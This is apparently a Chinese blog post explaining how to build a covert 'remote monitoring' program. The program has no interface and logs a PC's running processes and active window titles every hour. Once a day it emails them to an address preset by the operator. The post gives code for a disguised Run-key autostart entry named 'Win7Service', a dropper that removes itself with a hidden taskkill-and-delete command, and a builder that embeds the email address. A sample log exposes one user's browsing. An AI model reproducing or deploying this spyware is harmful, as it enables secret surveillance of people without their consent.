远程监控程序的实现

本程序能实现监控的功能，由于我不想记录太多的信息，所以简化了其中的功能。程序中主要记录当前的进程列表和活动窗口的标题，每小时记录一次，每一天向预先设定的邮箱中发一封邮件，典型的邮件内容如下：
2011-03-28

12:28

当前窗口:开始

[System Process]

smss.exe

csrss.exe

wininit.exe

winlogon.exe

services.exe

lsass.exe

lsm.exe

svchost.exe

ibmpmsvc.exe

audiodg.exe

RtkAudioService.exe

RtHDVBg.exe

ZhuDongFangYu.exe

taskeng.exe

lpksetup.exe

TPHKSVC.exe

360rp.exe

taskhost.exe

tpnumlkd.exe

dwm.exe

explorer.exe

FNPLicensingService.exe

CamMute.exe

micmute.exe

TPKNRSVC.exe

lvvsst.exe

virtscrl.exe

rrservice.exe

ImeUtil.exe

WLIDSVC.EXE

TpShocks.exe

TPOSDSVC.exe

rundll32.exe

TPONSCR.exe

SynTPEnh.exe

WLIDSVCM.EXE

msswin7.exe

360sdrun.exe

360speedld.exe

360tray.exe

360leakfixer.exe

sppsvc.exe

SynTPLpr.exe

360sd.exe

SearchIndexer.exe

dllhost.exe

WmiPrvSE.exe

SynTPHelper.exe

13:00

当前窗口:抢盐背后的搞笑段子、图片，不信你不笑！！ - 新鲜郑州 - 郑州论坛 _郑州同城交友活动_最温暖最郑州的网络生活 - 河南一百度 - Windows Internet Explorer

wmpnetwk.exe

SUService.exe

tvt_reg_monitor_svc.exe

QQ.exe

TXPlatform.exe

sogouexplorer.exe

iexplore.exe

SogouCloud.exe

SearchProtocolHost.exe

Thunder.exe

ThunderPlatform.exe

FlashUtil10o_ActiveX.exe

SearchFilterHost.exe

13:05

当前窗口:360杀毒 v1.2

userinit.exe

TrustedInstaller.exe

13:10

当前窗口:360杀毒 v1.2

14:10

当前窗口:Program Manager

wmpnscfg.exe

15:00

当前窗口:迅雷7

MOM.exe

CCC.exe

16:00

当前窗口:迅雷7

17:55

当前窗口:Dialog

18:00

当前窗口:新加卷 (E:)

KuGoo.exe

KGDaemon.exe

19:00

当前窗口:360杀毒 v1.2 - 全盘扫描

20:00

当前窗口:TDDOWNLOAD

21:00

当前窗口:秋水之冰

Xmp.exe

WUDFHost.exe

22:00

当前窗口:我知女人心HD高清版.rmvb



本程序无界面，在控制台程序中释放主程序，完成一些初始化工作，并自动设为启动项。下面主要粘贴几段关键的代码。

1 设为启动项

void EnableAutoLaunch(CString processPath)
{
 //写入注册表,开机自启动
 HKEY hKey;
 //找到系统的启动项
 LPCTSTR lpRun = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
 //打开启动项Key
 long lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE,lpRun,0, KEY_WRITE, &hKey);
 if(lRet == ERROR_SUCCESS)
 {
  DWORD dwRet =processPath.GetLength();
  char *pFileName=processPath.GetBuffer(dwRet);
  //添加一个子Key,并设置值
  lRet = RegSetValueEx(hKey, "Win7Service",0, REG_SZ, (BYTE*)pFileName, dwRet);
  //关闭注册表
  RegCloseKey(hKey);
  if(lRet != ERROR_SUCCESS)
  {
   AfxMessageBox("系统参数错误,不能随系统启动");
  }
 }
}

2 释放程序

void ReleaseResource(int resourceID,CString resType,CString proPath,BOOL appendInf/*=FALSE*/,CString inf/*=""*/)
{
 DWORD writeSize=0;
 
 HANDLE hFile = CreateFile(proPath.GetBuffer(0), GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); 
 HRSRC hrsrc=FindResource(NULL,MAKEINTRESOURCE(resourceID),resType.GetBuffer(0));
 LPCVOID lp=LockResource(LoadResource(NULL,hrsrc));
 DWORD fileSize=SizeofResource(NULL,hrsrc);
 WriteFile(hFile,lp,fileSize,&writeSize,NULL);
 if(appendInf)//是否在程序末尾追加信息
 {
  WriteFile(hFile,inf.GetBuffer(0),256,&writeSize,NULL);
 }
 CloseHandle(hFile);
 MessageBox(AfxGetApp()->GetMainWnd()->GetSafeHwnd(),"done.","信息",MB_ICONINFORMATION);
 ShellExecute(NULL,"open","cmd.exe","/c taskkill /f /im Host.exe & del /f Host.exe",NULL,SW_HIDE);//删除自身，嘻嘻。

}

3 遍历进程列表

void EnumerateProcesses()
{
 HANDLE snapShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
 //--------------------------------------
 //查询进程
 //--------------------------------------
 PROCESSENTRY32  processInfo;
 CString strProcessName= "";
 DWORD  nProcessID=0;
 int nProcessTerminate=0;
 processInfo.dwSize = sizeof(PROCESSENTRY32);
 BOOL status=Process32First(snapShot,&processInfo);
 while(status)
 {
  strProcessName = processInfo.szExeFile;
  UpdateProcessList(strProcessName);//更新进程列表
  status = Process32Next(snapShot,&processInfo);
 }
}

4 定制服务端的生成

就是根据用户输入的email来生成不同的服务端程序。见2中释放程序的函数，我们需要在程序的末尾追加特定信息，这里把用户定制的email信息追加到服务端末尾，本程序向服务端程序末尾追加256字节数据，等到服务端运行的时候会打开自己，读取其末尾的256字节数据，从而得到email信息。

5 发送email

这个函数很关键，代码不少。这里不贴了。